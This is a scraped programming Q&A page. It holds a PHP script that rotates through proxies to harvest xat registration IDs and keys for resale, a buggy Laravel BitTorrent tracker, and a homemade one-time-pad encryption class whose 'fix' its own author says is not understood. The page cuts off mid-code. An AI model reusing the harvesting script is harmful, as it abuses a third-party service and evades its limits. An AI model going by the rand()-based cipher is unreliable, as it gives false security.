PHP - ID generator//not working on linux - php
I have made an "ID generator" for a website known as xat now this fully works on any up to date windows machine. But I do not understand why when I run it on a linux Debian server I get:
root#vps:/idgen# php get.php
[3:45:42 PM] Connected to MySQL server
[3:45:42 PM] Starting ID Generator With 0 IDs to begin with.
PHP Fatal Error: Call to undefined function curl_init() in /idgen/get.php on line 70
root#vps:/idgen#
(I am new to linux machines. I did some research but till don't understand it :L my code is very long. Its
<?php
set_time_limit(0);
ini_set('display_error', 1);
error_reporting(E_ALL);
date_default_timezone_set('America/New_York');
$idGen = new IDGenerator;
$loop = 1;
while(true)
{
switch(#$argv[1]) {
case '0':
default:
$list = fopen('proxies.txt', 'r');
while(!feof($list))
{
$proxy = fgets($list);
$idGen->generate($proxy);
}
fclose($list);
break;
}
$loop++;
usleep(50000);
$idGen->report('Starting loop #'.$loop);
}
class IDGenerator
{
public $sql = NULL;
public $one = array('1','2','3','4','5','6','7','8','9','0');
public $two = array('11','22','33','44','55','66','77','88','99','00');
public $three = array('111','222','333','444','555','666','777','888','999','000');
public $four = array('0000','1010','1111','1212','1313','1414','1515','1616','1717','1818','1919','2020','2121','2222','2323','2424','2525','2626','2727','2828','2929','3030','3131','3232','3333','3434','3535','3636','3737','3838','3939','4040','4141','4242','4343','4444','4545','4646','4747','4848','4949','5050','5151','5252','5353','5454','5555','5656','5757','5858','5959','6060','6161','6262','6363','6464','6565','6666','6767','6868','6969','7070','7171','7272','7373','7474','7575','7676','7777','7878','7979','8080','8181','8282','8383','8484','8585','8686','8787','8888','8989','9090','9191','9292','9393','9494','9595','9696','9797','9898','9999');
public $five = array('00000','10101','11111','12121','13131','14141','15151','16161','17171','18181','19191','20202','21212','22222','23232','24242','25252','26262','27272','28282','29292','30303','31313','32323','33333','34343','35353','36363','37373','38383','39393','40404','41414','42424','43434','44444','45454','46464','47474','48484','49494','50505','51515','52525','53535','54545','55555','56565','57575','58585','59595','60606','61616','62626','63636','64646','65656','66666','67676','68686','69696','70707','71717','72727','73737','74747','75757','76767','77777','78787','79797','80808','81818','82828','83838','84848','85858','86868','87878','88888','89898','90909','91919','92929','93939','94949','95959','96969','97979','98989','99999');
public $six = array('000000','101010','111111','121212','131313','141414','151515','161616','171717','181818','191919','202020','212121','222222','232323','242424','252525','262626','272727','282828','292929','303030','313131','323232','333333','343434','353535','363636','373737','383838','393939','404040','414141','424242','434343','444444','454545','464646','474747','484848','494949','505050','515151','525252','535353','545454','555555','565656','575757','585858','595959','606060','616161','626262','636363','646464','656565','666666','676767','686868','696969','707070','717171','727272','737373','747474','757575','767676','777777','787878','797979','808080','818181','828282','838383','848484','858585','868686','878787','888888','898989','909090','919191','929292','939393','949494','959595','969696','979797','989898','999999');
public $seven = array('0000000','1010101','1111111','1212121','1313131','1414141','1515151','1616161','1717171','1818181','1919191','2020202','2121212','2222222','2323232','2424242','2525252','2626262','2727272','2828282','2929292','3030303','3131313','3232323','3333333','3434343','3535353','3636363','3737373','3838383','3939393','4040404','4141414','4242424','4343434','4444444','4545454','4646464','4747474','4848484','4949494','5050505','5151515','5252525','5353535','5454545','5555555','5656565','5757575','5858585','5959595','6060606','6161616','6262626','6363636','6464646','6565656','6666666','6767676','6868686','6969696','7070707','7171717','7272727','7373737','7474747','7575757','7676767','7777777','7878787','7979797','8080808','8181818','8282828','8383838','8484848','8585858','8686868','8787878','8888888','8989898','9090909','9191919','9292929','9393939','9494949','9595959','9696969','9797979','9898989','9999999');
public $eight = array('00000000','10101010','11111111','12121212','13131313','14141414','15151515','16161616','17171717','18181818','19191919','20202020','21212121','22222222','23232323','24242424','25252525','26262626','27272727','28282828','29292929','30303030','31313131','32323232','33333333','34343434','35353535','36363636','37373737','38383838','39393939','40404040','41414141','42424242','43434343','44444444','45454545','46464646','47474747','48484848','49494949','50505050','51515151','52525252','53535353','54545454','55555555','56565656','57575757','58585858','59595959','60606060','61616161','62626262','63636363','64646464','65656565','66666666','67676767','68686868','69696969','70707070','71717171','72727272','73737373','74747474','75757575','76767676','77777777','78787878','79797979','80808080','81818181','82828282','83838383','84848484','85858585','86868686','87878787','88888888','89898989','90909090','91919191','92929292','93939393','94949494','95959595','96969696','97979797','98989898','99999999');
public $nine = array('000000000','101010101','111111111','121212121','131313131','141414141','151515151','161616161','171717171','181818181','191919191','202020202','212121212','222222222','232323232','242424242','252525252','262626262','272727272','282828282','292929292','303030303','313131313','323232323','333333333','343434343','353535353','363636363','373737373','383838383','393939393','404040404','414141414','424242424','434343434','444444444','454545454','464646464','474747474','484848484','494949494','505050505','515151515','525252525','535353535','545454545','555555555','565656565','575757575','585858585','595959595','606060606','616161616','626262626','636363636','646464646','656565656','666666666','676767676','686868686','696969696','707070707','717171717','727272727','737373737','747474747','757575757','767676767','777777777','787878787','797979797','808080808','818181818','828282828','838383838','848484848','858585858','868686868','878787878','888888888','898989898','909090909','919191919','929292929','939393939','949494949','959595959','969696969','979797979','989898989','999999999');
public $proxy;
public $cp = array();
public function __construct()
{
include('database.class.php');
$this->sql = new Database($this);
$this->report('Connected to MySQL Server');
$nc = number_format( $this->sql->countRows('ids WHERE sold=0') );
$this->report('Starting ID Generator With '.$nc.' IDs to begin with.');
}
public function generate($ip='111.111.111.111',$port=1, $elapsed=0) {
if( ( $elapsed - time() ) >= 0 && $elapsed != 0) {
//This causes MAJOR terminal/CMD flood.
// $this->report('Proxy: '.$ip.':'.$port.' will be trying again in '.$this->sec2hms($elapsed-time()));
return;
}
$this->cp = array(
'ip' => $ip,
'port' => $port
);
$proxy = $ip.':'.$port;
$tries = 0;
$xData = '';
$timeout = 3;
// echo "Tries -> ";
while($xData=='' && $tries < 3) {
$ch = curl_init(); //curl init :D
curl_setopt($ch, CURLOPT_URL, 'http://xat.com/web_gear/chat/auser3.php?t='.rand(100000000000,1000000000000000000000000000000000)); //url
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
$data = curl_exec($ch);
curl_close($ch);
$rdata = $data;
if(#$data{0} == '<') {
return;//Bad Proxy Detected.
}
if(strpos($data, 'Not Found') != FALSE) {
$data = '&UserId=0&k1=0&k2=0';
}
if($data != '&UserId=0&k1=0&k2=0') {
if(strpos($data, '&k2=0') != FALSE) {
$data = '&UserId=0&k1=0&k2=0';
} else {
$xData = $data;
}
} else {
echo $data."\n";
}
$tries++;
}
if($xData=='') {
return;//Dead Proxy
}
if (strlen($data) < 50 && $data) {
$this->check($data);
}
}
public function sec2hms($sec, $padHours = false) {
#$hms = "";
#$days = intval($sec/86400);
if($days > 0 ) {
if($days == 1) {
#$hms .= (($padHours)?str_pad($hours, 2, "0", STR_PAD_LEFT).':':#$days.' Day');
} else {
#$hms .= (($padHours)?str_pad($hours, 2, "0", STR_PAD_LEFT).':':#$days.' Days');
}
}
#$sec-= ($days*86400);
#$hours = intval(intval($sec) / 3600);
if($hours > 0) {
if($days > 0) { #$s = ', '; }
if($hours == 1) {
#$hms .= #$s.(($padHours)?str_pad($hours, 2, "0", STR_PAD_LEFT).':':#$hours.' Hour');
} else {
#$hms .= #$s.(($padHours)?str_pad($hours, 2, "0", STR_PAD_LEFT).':':#$hours.' Hours');
}
}
#$minutes = intval(($sec / 60) % 60);
if($minutes > 0) {
if($hours > 0) { #$d = ', '; }
if($minutes == 1) {
#$hms .= #$d.str_pad($minutes, 2, "0", STR_PAD_LEFT) . ' Minute';
} else {
#$hms .= #$d.str_pad($minutes, 2, "0", STR_PAD_LEFT) . ' Minutes';
}
}
#$seconds = intval($sec % 60);
if($seconds > 0) {
if($minutes > 0) { #$p = ', '; }
if($seconds == 1) {
#$hms .= #$p.str_pad($seconds, 2, "0", STR_PAD_LEFT) . ' Second';
} else {
#$hms .= #$p.str_pad($seconds, 2, "0", STR_PAD_LEFT) . ' Seconds';
}
}
return #$hms;
}
public function report($data) {
$time = date('g:i:s A', time());
echo "[$time] $data\n";
}
public function rwrite($data) {
$auser = $this->idFix($data);
$check = $this->CheckForID($auser['UserId']);
if($check) {
if(str_replace(' ', '', $auser['UserId'])!='') {
$this->report($auser['UserId'].' already exists in the database.');
}
return;
}
$auser['rare'] = true;
$auser['price'] = $this->determinePrice($auser['UserId']);
$auser['reglink'] = 'http://xat.com/web_gear/chat/register.php?UserId='.$auser['UserId'].'&k2='.$auser['k2'].'&mode=1';
$auser['added'] = date('l, F jS Y g:i:s A');
$this->sql->insert('ids', $auser);
$nc = number_format( $this->sql->countRows('ids WHERE sold=0') );
$this->report($auser['UserId'].' added as a rare id, we have '.$nc.' ids now.');
}
public function write($data) {
$auser = $this->idFix($data);
$check = $this->CheckForID($auser['UserId']);
if($check) {
if(str_replace(' ', '', $auser['UserId'])!='') {
$this->report($auser['UserId'].' already exists in the database.');
}
return;
}
$auser['rare'] = false;
$auser['added'] = date('l, F jS Y g:i:s A');
$auser['price'] = $this->determinePrice($auser['UserId']);
$auser['reglink'] = 'http://xat.com/web_gear/chat/register.php?UserId='.$auser['UserId'].'&k2='.$auser['k2'].'&mode=1';
$this->sql->insert('ids', $auser);
$nc = number_format( $this->sql->countRows('ids WHERE sold=0') );
$this->report($auser['UserId'].' added as a normal id, we have '.$nc.' ids now.');
}
public function determinePrice($id='0') {
if($id=='0' || !is_numeric($id)) {
return '0';//0 xats cuz of no id.
}
$price = 100;//Start the bid off at 100 xats, NO FREE IDS.
if ( $this->strposa($id, $this->nine) ) {
$price = $price + 900;// never mind that, make it 1k
} else
if ( $this->strposa($id, $this->eight) ) {
$price = $price + 800;
} else
if ( $this->strposa($id, $this->seven) ) {
$price = $price + 700;
} else
if ( $this->strposa($id, $this->six) ) {
$price = $price + 600;
} else
if ( $this->strposa($id, $this->five) ) {
$price = $price + 500;
} else
if ( $this->strposa($id, $this->four) ) {
$price = $price + 150;
} else
if ( $this->strposa($id, $this->three) ) {
$price = $price + 20;
}
return $price;
}
public function idFix($data='&UserId=0&k1=0&k2=0')
{
if($data=='') { $data = '&UserId=0&k1=0&k2=0'; }
$user = explode('&', $data);
return array(
'UserId'=> str_replace('UserId=', '', #$user[1]),
'k1' => str_replace('k1=', '', #$user[2]),
'k2'=> str_replace('k2=', '', #$user[3])
);
}
public function randomString($chars=32) {
$letters = range('a','z');
$caps = range('A', 'Z');
$numbers = range(0, 9);
$array = array_merge(range('a','z'), array_merge(range('A', 'Z'), range(0,9)));
for($x=0;$x<=100;$x++) {
shuffle($array);//shuffle it up really good =D
}
$i = 0;
$ch = '';
for($index=0; $index<$chars; $index++) {
$ch .= $array[ array_rand($array) ];
}
return $ch;
}
public function CheckForID($id=0)
{
if($id==0) return true;
$check = $this->sql->select('*', 'ids', 'UserId='.$id);
if(!$check)
{
return false;
}
return true;
}
public function check($data='&UserId=0&k1=0&k2=0') {
if($data=='') { $data = '&UserId=0&k1=0&k2=0'; }
$auser = $this->idFix($data);
$this->storage($auser['UserId'], $data);
}
public function storage($id, $data) {
if ($this->strposa($id,$this->nine) && strlen($data) < 50 && $data) {
$this->rwrite($data);
return true;
} else
if ($this->strposa($id,$this->eight) && strlen($data) < 50 && $data) {
$this->rwrite($data);
return true;
} else
if ($this->strposa($id,$this->seven) && strlen($data) < 50 && $data) {
$this->rwrite($data);
return true;
} else
if ($this->strposa($id,$this->six) && strlen($data) < 50 && $data) {
$this->rwrite($data);
return true;
} else
if ($this->strposa($id,$this->five) && strlen($data) < 50 && $data) {
$this->rwrite($data);
return true;
} else
if ($this->strposa($id,$this->four) && strlen($data) < 50 && $data) {
$this->rwrite($data);
return true;
} else
if ($this->strposa($id,$this->three) && strlen($data) < 50 && $data) {
$this->rwrite($data);
return true;
} else {
$this->write($data);
return true;
}
return false;
}
public function reset() {
die('restart me!');
}
public function strposa($haystack, $needles=array(), $offset=1) {
$chr = array();
foreach($needles as $needle) {
$res = strpos($haystack, $needle);
if ($res !== false)
{
$chr[$needle] = $res;
}
}
if(empty($chr))
{
return false;
}
return min($chr);
}
}
?>
The PHP fatal error actually has nothing whatsoever to do with Linux itself, it's the cURL extension that's missing from PHP.
To get back to the Debian side of things, to install the extension, run this in a command line / terminal:
sudo apt-get install php5-curl
Note: Don't EVER copy-paste stuff from the internet into your console. You could be copying hidden text as well and potentially compromise your system. Go ahead and type it.
Related
Torrent with Laravel using Laratracker
I am implementing the laratracker , a bittorrent tracker built in laravel, but unable to start the download. Only one peer appears to be seeding, Sometimes it is saying "Connecting to peers" and remains at it is. The code which i am using is : <?php namespace App\Http\Controllers\Announce; use App\Helpers\BencodeHelper; use App\Models\Peer; use App\Models\PeerTorrent; use App\Models\Torrent; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Http\Response; use Illuminate\Routing\Controller; use Illuminate\Support\Facades\Input; use Illuminate\Support\Facades\Log; class AnnounceController extends Controller { const __INTERVAL = 1000; const __TIMEOUT = 120; const __INTERVAL_MIN = 60; const __MAX_PPR = 20; public function announce(Request $request) { Log::info($request->fullUrl()); $status = 200; $content = ""; $passkey = Input::get('passkey'); $peer_id = Input::get('peer_id'); $port = Input::get('port'); $info_hash = Input::get('info_hash'); $downloaded = Input::get('uploaded') ? intval(Input::get('uploaded')) : 0; $uploaded = Input::get('uploaded') ? intval(Input::get('uploaded')) : 0; $left = Input::get('left') ? intval(Input::get('left')) : 0; $compact = Input::get('compact') ? intval(Input::get('compact')) : 0; $no_peer_id = Input::get('no_peer_id') ? intval(Input::get('no_peer_id')) : 0; $ipAddress = ''; // Check for X-Forwarded-For headers and use those if found if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && ('' !== trim($_SERVER['HTTP_X_FORWARDED_FOR']))) { $ipAddress = (trim($_SERVER['HTTP_X_FORWARDED_FOR'])); } else { if (isset($_SERVER['REMOTE_ADDR']) && ('' !== trim($_SERVER['REMOTE_ADDR']))) { $ipAddress = (trim($_SERVER['REMOTE_ADDR'])); } } $port = $_SERVER['REMOTE_PORT']; /*if(!$port || !ctype_digit($port) || intval($port) < 1 || intval($port) > 65535) { $content = BencodeHelper::track("Invalid client port."); $status = 401; return (new Response(AnnounceController::track($content), $status)) ->header('Content-Type', $value); } if ($port == 999 && substr($peer_id, 0, 10) == '-TO0001-XX') { die("d8:completei0e10:incompletei0e8:intervali600e12:min intervali60e5:peersld2:ip12:72.14.194.184:port3:999ed2:ip11:72.14.194.14:port3:999ed2:ip12:72.14.194.654:port3:999eee"); }*/ if (!$passkey) { $content = BencodeHelper::track("Missing passkey."); $status = 401; return (new Response(AnnounceController::track($content), $status)) ->header('Content-Type', $value); } $torrent = Torrent::getByInfoHash(sha1($info_hash)); if (!$torrent || $torrent == null) { $content = "Torrent not registered with this tracker."; $status = 404; return (new Response(AnnounceController::track($content), $status)) ->header('Content-Type', $value); } $user = User::has('passkeys', '=', $passkey)->get(); if ($user == null) { $content = BencodeHelper::track("Invalid passkey."); $status = 401; return (new Response(AnnounceController::track($content), $status)) ->header('Content-Type', $value); } $peer = Peer::getByHashAndPasskey(bin2hex($peer_id), $passkey); if ($peer == null) { $peer = Peer::create([ 'hash' => bin2hex($peer_id), 'user_agent' => $_SERVER['HTTP_USER_AGENT'], 'ip_address' => $ipAddress, 'passkey' => $passkey, 'port' => $port ]); } if (!$info_hash || strlen($info_hash) != 20) { $content = BencodeHelper::track("Invalid info_hash."); $status = 401; return (new Response(AnnounceController::track($content), $status)) ->header('Content-Type', $value); } $peer_torrent = PeerTorrent::getByPeerAndTorrent($peer, $torrent); if ($peer_torrent == null) { $peer_torrent = PeerTorrent::create([ 'peer_id' => $peer->id, 'torrent_id' => $torrent->id, 'uploaded' => $uploaded, 'downloaded' => $downloaded, 'left' => $left, 'stopped' => false ]); } else { $peer_torrent->uploaded = $uploaded; $peer_torrent->downloaded = $downloaded; $peer_torrent->left = $left; $peer_torrent->save(); } $seeders = $torrent->getSeedersCount(); $leechers = $torrent->getLeechersCount(); $resp = ""; if ($compact != 1) { $resp = "d" . $this->benc_str("interval") . "i" . AnnounceController::__INTERVAL . "e" . $this->benc_str("peers") . "l"; } else { $resp = "d" . $this->benc_str("interval") . "i" . AnnounceController::__INTERVAL . "e" . $this->benc_str("min interval") . "i" . 300 . "e5:" . "peers"; } $peer = array(); $peer_num = 0; foreach ($torrent->getPeersArray() as $row) { if ($compact != 1) { if ($row["peer_id"] === $peer->hash) { continue; } $resp .= "d" . $this->benc_str("ip") . $this->benc_str($row['ip']); if ($no_peer_id == 0) { $resp .= $this->benc_str("peer id") . $this->benc_str($row["peer_id"]); } $resp .= $this->benc_str("port") . "i" . $row["port"] . "e" . "e"; } else { $peer_ip = explode('.', $row["ip"]); $peer_ip = pack("C*", $peer_ip[0], $peer_ip[1], $peer_ip[2], $peer_ip[3]); $peer_port = pack("n*", (int)$row["port"]); $time = intval((time() % 7680) / 60); if ($left == 0) { $time += 128; } $time = pack("C", $time); $peer[] = $time . $peer_ip . $peer_port; $peer_num++; } } if ($compact != 1) { $resp .= "ee"; } else { $o = ""; for ($i = 0; $i < $peer_num; $i++) { $o .= substr($peer[$i], 1, 6); } $resp .= strlen($o) . ':' . $o . 'e'; } $this->benc_resp_raw($resp); } public function benc_resp($d) { return $this->benc_resp_raw($this->benc(array('type' => 'dictionary', 'value' => $d))); } public function benc_resp_raw($x) { header("Content-Type: text/plain"); header("Pragma: no-cache"); if ($_SERVER['HTTP_ACCEPT_ENCODING'] == 'gzip') { header("Content-Encoding: gzip"); echo gzencode($x, 9, FORCE_GZIP); } else { echo $x; } } function benc($obj) { if (!is_array($obj) || !isset($obj["type"]) || !isset($obj["value"])) return; $c = $obj["value"]; switch ($obj["type"]) { case "string": return $this->benc_str($c); case "integer": return $this->benc_int($c); case "list": return $this->benc_list($c); case "dictionary": return $this->benc_dict($c); default: return; } } public function benc_str($s) { return strlen($s) . ":$s"; } public function benc_int($i) { return "i" . $i . "e"; } public function benc_list($a) { $s = "l"; foreach ($a as $e) { $s .= $this->benc($e); } $s .= "e"; return $s; } public function benc_dict($d) { $s = "d"; $keys = array_keys($d); sort($keys); foreach ($keys as $k) { $v = $d[$k]; $s .= $this->benc_str($k); $s .= $this->benc($v); } $s .= "e"; return $s; } public function hex2bin($hex) { $r = ''; for ($i = 0; $i < strlen($hex); $i += 2) { $r .= chr(hexdec($hex{$i} . $hex{($i + 1)})); } return $r; } } <?php Not sure what to add or modify to the code to get it working . Help appreciated for the solution .
base64 in PHP Otp Library
I trying to make some simple library for encrypting files in PHP with OTP method. My problem is that some chars in decrypted code are different than original. I worked on it almost one week but without result. Is there problem with base64 chars or with encoding/decoding mechanism ? Many thanks for the answers. final class Otp { private static $charSet = array('+','/','0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F','G','H','I','J','K','L', 'M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r', 's','t','u','v','w','x','y','z'); public static function encryptFile($originalFilePath, $encryptedFilePath, $keyFilePath) { if(!self::existsFile($keyFilePath) || !self::existsFile($encryptedFilePath)) { if($originalFileData = self::existsFile($originalFilePath)) { $originalFileBase64Data = base64_encode($originalFileData); $originalFileBase64DataLength = strlen($originalFileBase64Data) - 1; $originalFileBase64DataArray = str_split($originalFileBase64Data); $encryptedData = NULL; $encryptedDataKey = NULL; for ($i = 0; $i <= $originalFileBase64DataLength; $i++) { $randKey = rand(0, sizeOf(self::$charSet) - 1); $arrayKey = array_search($originalFileBase64DataArray[$i], self::$charSet); if($randKey > $arrayKey) { $str = '-' . ($randKey - $arrayKey); } elseif($randKey < $arrayKey) { $str = ($randKey + $arrayKey); } else { $str = $randKey; } $encryptedData .= self::$charSet[$randKey]; $encryptedDataKey .= $str. ';'; } $encryptedDataString = $encryptedData; $encryptedDataKeyString = $encryptedDataKey; if(!self::existsFile($keyFilePath)) { file_put_contents($keyFilePath, $encryptedDataKeyString); } if(!self::existsFile($encryptedFilePath)) { file_put_contents($encryptedFilePath, $encryptedDataString); } return 'OK'; } else { return 'Source file not exists'; } } else { return 'Encrypted data already exists'; } } public static function decryptFile($encryptedFilePath, $keyFilePath, $decryptedFilePath) { $keyFileData = self::existsFile($keyFilePath); $encryptedFileData = self::existsFile($encryptedFilePath); $encryptedFileDataLength = strlen($encryptedFileData) - 1; if($encryptedFileData && $keyFileData) { $encryptedFileDataArray = str_split($encryptedFileData); $keyFileDataArray = explode(';', $keyFileData); $decryptedData = NULL; for ($i = 0; $i <= $encryptedFileDataLength; $i++) { $poziciaaktualneho = array_search($encryptedFileDataArray[$i], self::$charSet); $poziciasifrovana = $keyFileDataArray[$i]; if($poziciasifrovana < 0) { $move = $poziciasifrovana + $poziciaaktualneho; } elseif($poziciasifrovana > 0) { $move = $poziciasifrovana - $poziciaaktualneho; } else { $move = '0'; } $decryptedData .= self::$charSet[$move]; } if(!self::existsFile($decryptedFilePath)) { file_put_contents($decryptedFilePath, base64_decode($decryptedData)); return 'OK'; } else { return 'Decrypted data already exists'; } } } private static function existsFile($filePath) { $fileData = #file_get_contents($filePath); if($fileData) { return $fileData; } return FALSE; } } $originalFilePath = 'original.jpg'; $keyFilePath = 'Otp_Key_' . $originalFilePath; $encryptedFilePath = 'Otp_Data_' . $originalFilePath; $decryptedFilePath = 'Otp_Decrypted_' . $originalFilePath; echo Otp::encryptFile($originalFilePath, $encryptedFilePath, $keyFilePath); echo Otp::decryptFile($encryptedFilePath, $keyFilePath, $decryptedFilePath);
The problem seems to be only happening when $poziciaaktualneho is equal to $poziciasifrovana and so by adding another if statement on line 78 to check for this and instead set $move equal to $poziciasifrovana I was able to fix the problem. The below script should work: final class Otp { private static $charSet = array('+','/','0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F','G','H','I','J','K','L', 'M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r', 's','t','u','v','w','x','y','z'); public static function encryptFile($originalFilePath, $encryptedFilePath, $keyFilePath) { if(!self::existsFile($keyFilePath) || !self::existsFile($encryptedFilePath)) { if($originalFileData = self::existsFile($originalFilePath)) { $originalFileBase64Data = base64_encode($originalFileData); $originalFileBase64DataLength = strlen($originalFileBase64Data) - 1; $originalFileBase64DataArray = str_split($originalFileBase64Data); $encryptedData = NULL; $encryptedDataKey = NULL; for ($i = 0; $i <= $originalFileBase64DataLength; $i++) { $randKey = rand(0, sizeOf(self::$charSet) - 1); $arrayKey = array_search($originalFileBase64DataArray[$i], self::$charSet); if($randKey > $arrayKey) { $str = '-' . ($randKey - $arrayKey); } elseif($randKey < $arrayKey) { $str = ($randKey + $arrayKey); } else { $str = $randKey; } $encryptedData .= self::$charSet[$randKey]; $encryptedDataKey .= $str. ';'; } $encryptedDataString = $encryptedData; $encryptedDataKeyString = $encryptedDataKey; if(!self::existsFile($keyFilePath)) { file_put_contents($keyFilePath, $encryptedDataKeyString); } if(!self::existsFile($encryptedFilePath)) { file_put_contents($encryptedFilePath, $encryptedDataString); } return 'OK'; } else { return 'Source file not exists'; } } else { return 'Encrypted data already exists'; } } public static function decryptFile($encryptedFilePath, $keyFilePath, $decryptedFilePath) { $keyFileData = self::existsFile($keyFilePath); $encryptedFileData = self::existsFile($encryptedFilePath); $encryptedFileDataLength = strlen($encryptedFileData) - 1; if($encryptedFileData && $keyFileData) { $encryptedFileDataArray = str_split($encryptedFileData); $keyFileDataArray = explode(';', $keyFileData); $decryptedData = NULL; for ($i = 0; $i <= $encryptedFileDataLength; $i++) { $poziciaaktualneho = array_search($encryptedFileDataArray[$i], self::$charSet); $poziciasifrovana = $keyFileDataArray[$i]; if ($poziciasifrovana == $poziciaaktualneho) { $move = $poziciasifrovana; } elseif($poziciasifrovana < 0) { $move = $poziciasifrovana + $poziciaaktualneho; } elseif($poziciasifrovana > 0) { $move = $poziciasifrovana - $poziciaaktualneho; } else { $move = '0'; } $decryptedData .= self::$charSet[$move]; } if(!self::existsFile($decryptedFilePath)) { file_put_contents($decryptedFilePath, base64_decode($decryptedData)); return 'OK'; } else { return 'Decrypted data already exists'; } } } private static function existsFile($filePath) { $fileData = #file_get_contents($filePath); if($fileData) { return $fileData; } return FALSE; } } $originalFilePath = 'original.jpg'; $keyFilePath = 'Otp_Key_' . $originalFilePath; $encryptedFilePath = 'Otp_Data_' . $originalFilePath; $decryptedFilePath = 'Otp_Decrypted_' . $originalFilePath; echo Otp::encryptFile($originalFilePath, $encryptedFilePath, $keyFilePath); echo Otp::decryptFile($encryptedFilePath, $keyFilePath, $decryptedFilePath); Warning: I would not recommend using my solution in an enterprise setting if at all since I do not know why this fixes your script or what was originally wrong with it and it is most likely not air tight.
BitTorrent: Download not starting
I am trying to implement a bittorrent tracker in Laravel. However, I am stuck at the moment as the download won't start. There is one peer which it appears to be seeding and I am 100% sure that it is connectable. But, when I run a second client on a different machine, the download won't start. It is stuck at "Connecting to peers" (uTorrent). From the tracker I am sending the following response when the client makes an announce: d8:intervali1000e12:min intervali300e5:peers18:�ؤ�i�ؑ�XÚJU�6e In the downloading client I have the following data: Here's my announce code: <?php namespace App\Http\Controllers\Announce; use App\Helpers\BencodeHelper; use App\Models\Peer; use App\Models\PeerTorrent; use App\Models\Torrent; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Http\Response; use Illuminate\Routing\Controller; use Illuminate\Support\Facades\Input; use Illuminate\Support\Facades\Log; class AnnounceController extends Controller { const __INTERVAL = 1000; const __TIMEOUT = 120; const __INTERVAL_MIN = 60; const __MAX_PPR = 20; public function announce(Request $request) { Log::info($request->fullUrl()); $status = 200; $content = ""; $passkey = Input::get('passkey'); $peer_id = Input::get('peer_id'); $port = Input::get('port'); $info_hash = Input::get('info_hash'); $downloaded = Input::get('uploaded') ? intval(Input::get('uploaded')) : 0; $uploaded = Input::get('uploaded') ? intval(Input::get('uploaded')) : 0; $left = Input::get('left') ? intval(Input::get('left')) : 0; $compact = Input::get('compact') ? intval(Input::get('compact')) : 0; $no_peer_id = Input::get('no_peer_id') ? intval(Input::get('no_peer_id')) : 0; $ipAddress = ''; // Check for X-Forwarded-For headers and use those if found if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && ('' !== trim($_SERVER['HTTP_X_FORWARDED_FOR']))) { $ipAddress = (trim($_SERVER['HTTP_X_FORWARDED_FOR'])); } else { if (isset($_SERVER['REMOTE_ADDR']) && ('' !== trim($_SERVER['REMOTE_ADDR']))) { $ipAddress = (trim($_SERVER['REMOTE_ADDR'])); } } $port = $_SERVER['REMOTE_PORT']; /*if(!$port || !ctype_digit($port) || intval($port) < 1 || intval($port) > 65535) { $content = BencodeHelper::track("Invalid client port."); $status = 401; return (new Response(AnnounceController::track($content), $status)) ->header('Content-Type', $value); } if ($port == 999 && substr($peer_id, 0, 10) == '-TO0001-XX') { die("d8:completei0e10:incompletei0e8:intervali600e12:min intervali60e5:peersld2:ip12:72.14.194.184:port3:999ed2:ip11:72.14.194.14:port3:999ed2:ip12:72.14.194.654:port3:999eee"); }*/ if (!$passkey) { $content = BencodeHelper::track("Missing passkey."); $status = 401; return (new Response(AnnounceController::track($content), $status)) ->header('Content-Type', $value); } $torrent = Torrent::getByInfoHash(sha1($info_hash)); if (!$torrent || $torrent == null) { $content = "Torrent not registered with this tracker."; $status = 404; return (new Response(AnnounceController::track($content), $status)) ->header('Content-Type', $value); } $user = User::has('passkeys', '=', $passkey)->get(); if ($user == null) { $content = BencodeHelper::track("Invalid passkey."); $status = 401; return (new Response(AnnounceController::track($content), $status)) ->header('Content-Type', $value); } $peer = Peer::getByHashAndPasskey(bin2hex($peer_id), $passkey); if ($peer == null) { $peer = Peer::create([ 'hash' => bin2hex($peer_id), 'user_agent' => $_SERVER['HTTP_USER_AGENT'], 'ip_address' => $ipAddress, 'passkey' => $passkey, 'port' => $port ]); } if (!$info_hash || strlen($info_hash) != 20) { $content = BencodeHelper::track("Invalid info_hash."); $status = 401; return (new Response(AnnounceController::track($content), $status)) ->header('Content-Type', $value); } $peer_torrent = PeerTorrent::getByPeerAndTorrent($peer, $torrent); if ($peer_torrent == null) { $peer_torrent = PeerTorrent::create([ 'peer_id' => $peer->id, 'torrent_id' => $torrent->id, 'uploaded' => $uploaded, 'downloaded' => $downloaded, 'left' => $left, 'stopped' => false ]); } else { $peer_torrent->uploaded = $uploaded; $peer_torrent->downloaded = $downloaded; $peer_torrent->left = $left; $peer_torrent->save(); } $seeders = $torrent->getSeedersCount(); $leechers = $torrent->getLeechersCount(); $resp = ""; if ($compact != 1) { $resp = "d" . $this->benc_str("interval") . "i" . AnnounceController::__INTERVAL . "e" . $this->benc_str("peers") . "l"; } else { $resp = "d" . $this->benc_str("interval") . "i" . AnnounceController::__INTERVAL . "e" . $this->benc_str("min interval") . "i" . 300 . "e5:" . "peers"; } $peer = array(); $peer_num = 0; foreach ($torrent->getPeersArray() as $row) { if ($compact != 1) { if ($row["peer_id"] === $peer->hash) { continue; } $resp .= "d" . $this->benc_str("ip") . $this->benc_str($row['ip']); if ($no_peer_id == 0) { $resp .= $this->benc_str("peer id") . $this->benc_str($row["peer_id"]); } $resp .= $this->benc_str("port") . "i" . $row["port"] . "e" . "e"; } else { $peer_ip = explode('.', $row["ip"]); $peer_ip = pack("C*", $peer_ip[0], $peer_ip[1], $peer_ip[2], $peer_ip[3]); $peer_port = pack("n*", (int)$row["port"]); $time = intval((time() % 7680) / 60); if ($left == 0) { $time += 128; } $time = pack("C", $time); $peer[] = $time . $peer_ip . $peer_port; $peer_num++; } } if ($compact != 1) { $resp .= "ee"; } else { $o = ""; for ($i = 0; $i < $peer_num; $i++) { $o .= substr($peer[$i], 1, 6); } $resp .= strlen($o) . ':' . $o . 'e'; } $this->benc_resp_raw($resp); } public 